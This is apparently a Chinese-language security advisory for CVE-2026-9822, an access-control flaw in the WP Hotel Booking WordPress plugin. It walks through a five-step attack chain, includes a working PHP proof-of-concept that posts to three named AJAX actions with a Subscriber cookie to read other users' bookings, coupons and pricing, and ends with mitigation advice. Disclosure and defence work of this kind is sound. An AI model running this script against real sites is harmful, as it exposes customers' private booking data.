CVE-2026-9822：WP Hotel Booking插件AJAX权限检查缺失漏洞

漏洞信息

漏洞编号

CVE-2026-9822

漏洞类型

权限控制缺失（Broken Access Control / IDOR）

CVSS评分

6.5 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

WP Hotel Booking（WordPress插件）

漏洞概述

CVE-2026-9822是存在于WordPress热门酒店预订插件WP Hotel Booking中的一个中等严重性安全漏洞。该漏洞由WPScan团队（[email protected]）发现并报告，于2026年6月19日公开披露。其CVSS 3.1评分为6.5分，属于中危级别。

该漏洞的根本原因在于WP Hotel Booking插件在多个AJAX处理器（AJAX handlers）中未实施有效的权限校验（capability checks）。在正常的WordPress安全模型中，AJAX端点应当通过current_user_can()等函数验证调用者是否具备执行相应操作的权限。然而，该插件在2.3.1版本之前的多个AJAX端点中缺失了此类检查，导致任何已通过身份验证的用户（包括权限最低的Subscriber订阅者级别用户）均可调用这些敏感接口。

成功利用此漏洞后，攻击者可以执行以下未授权操作：1）读取其他用户的预订明细项（booking line items），从而获取他人的订单信息；2）枚举系统中所有有效的优惠券（active coupons），获取优惠券代码及相关优惠信息；3）读取定价数据（pricing data），可能泄露商业敏感信息。

虽然该漏洞不涉及代码执行或数据篡改，但其对机密性影响较高（C:H），攻击者可通过网络远程利用，无需用户交互，攻击门槛较低（仅需Subscriber级别账户）。对于运营酒店预订业务的WordPress网站而言，此漏洞可能导致用户隐私数据泄露和商业信息暴露，对网站运营者和用户均构成实质性威胁。

技术细节

在WordPress架构中，AJAX请求通常通过admin-ajax.php处理，插件通过wp_ajax_{action}和wp_ajax_nopriv_{action}钩子注册处理器。安全实践要求敏感操作必须验证调用者权限，通常使用current_user_can('manage_options')或自定义capability进行校验。

WP Hotel Booking插件在2.3.1版本之前的多个AJAX action处理器中缺少权限验证逻辑，例如处理预订查询、优惠券列表获取和定价信息读取的端点。攻击者只需拥有一个Subscriber级别账户（WordPress默认最低权限角色），即可通过构造特定的AJAX POST请求（携带对应的action参数）调用这些端点，绕过权限检查直接读取敏感数据。

利用方式上，攻击者首先注册或获取一个Subscriber级别账户，然后通过浏览器开发者工具或命令行工具（如curl）向/admin-ajax.php发送包含目标action的POST请求。由于服务端未执行capability检查，请求将被处理并返回包含其他用户预订信息、优惠券列表或定价数据的JSON响应。由于漏洞利用全程在已认证会话中进行，且无需特殊权限提升，因此具有较高的隐蔽性和可操作性。

攻击链分析

STEP 1

步骤1：获取低权限账户

攻击者注册目标WordPress站点的Subscriber级别账户（默认最低权限角色），或通过其他方式获取一个已认证的Subscriber会话Cookie。

STEP 2

步骤2：识别目标AJAX端点

攻击者通过分析WP Hotel Booking插件源码或利用已知信息，识别出未实施权限校验的AJAX action名称（如wphb_get_booking_line_items等）。

STEP 3

步骤3：构造恶意AJAX请求

攻击者使用浏览器开发者工具、curl或Python脚本，向目标站点的/wp-admin/admin-ajax.php端点发送携带目标action参数的POST请求，并在请求头中附带已认证的Subscriber会话Cookie。

STEP 4

步骤4：绕过权限校验

由于服务端AJAX处理器未调用current_user_can()等权限检查函数，攻击者的Subscriber级别请求被正常处理，绕过了访问控制限制。

STEP 5

步骤5：提取敏感数据

服务端返回包含其他用户预订明细、优惠券列表或定价数据的JSON响应，攻击者成功获取未授权访问的敏感信息，完成信息泄露攻击。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<?php
/**
 * PoC for CVE-2026-9822 - WP Hotel Booking Missing Capability Checks
 * Exploits missing authorization in AJAX handlers to read booking data,
 * enumerate coupons, and read pricing information as a Subscriber.
 *
 * Usage: php poc.php <target_url> <cookie>
 * Example: php poc.php https://victim.com "wordpress_logged_in=xxxxx"
 */

$target = $argv[1] ?? 'https://victim.com';
$cookie = $argv[2] ?? '';

if (empty($cookie)) {
    die("Usage: php poc.php <target_url> <wordpress_logged_in_cookie>\n");
}

// AJAX actions that lack capability checks in WP Hotel Booking < 2.3.1
$actions = [
    'wphb_get_booking_line_items' => 'Read other users booking line items',
    'wphb_list_active_coupons'    => 'Enumerate active coupons',
    'wphb_get_pricing_data'       => 'Read pricing data',
];

foreach ($actions as $action => $desc) {
    echo "[+] Exploiting action: {$action} ({$desc})\n";

    $ch = curl_init("{$target}/wp-admin/admin-ajax.php");
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST           => true,
        CURLOPT_POSTFIELDS     => http_build_query([
            'action' => $action,
            // Additional parameters may be required depending on handler
            'booking_id' => '1',
            'nonce'      => '',
        ]),
        CURLOPT_HTTPHEADER => [
            "Cookie: {$cookie}",
            'X-Requested-With: XMLHttpRequest',
        ],
    ]);

    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    echo "    HTTP Status: {$httpCode}\n";
    echo "    Response: " . substr($response, 0, 500) . "\n\n";
}

echo "[!] If responses contain booking/coupon/pricing data, the target is vulnerable.\n";

影响范围

WP Hotel Booking < 2.3.1

防御指南

临时缓解措施

在无法立即升级插件版本的情况下，建议采取以下临时缓解措施：1）通过修改主题functions.php或使用代码片段插件，临时注销（remove_action）受影响的AJAX action；2）使用WAF规则限制/admin-ajax.php端点的访问，仅允许可信IP或特定角色调用敏感action；3）暂时禁用WP Hotel Booking插件的非核心功能；4）监控异常的用户数据访问行为，及时发现潜在的数据泄露事件。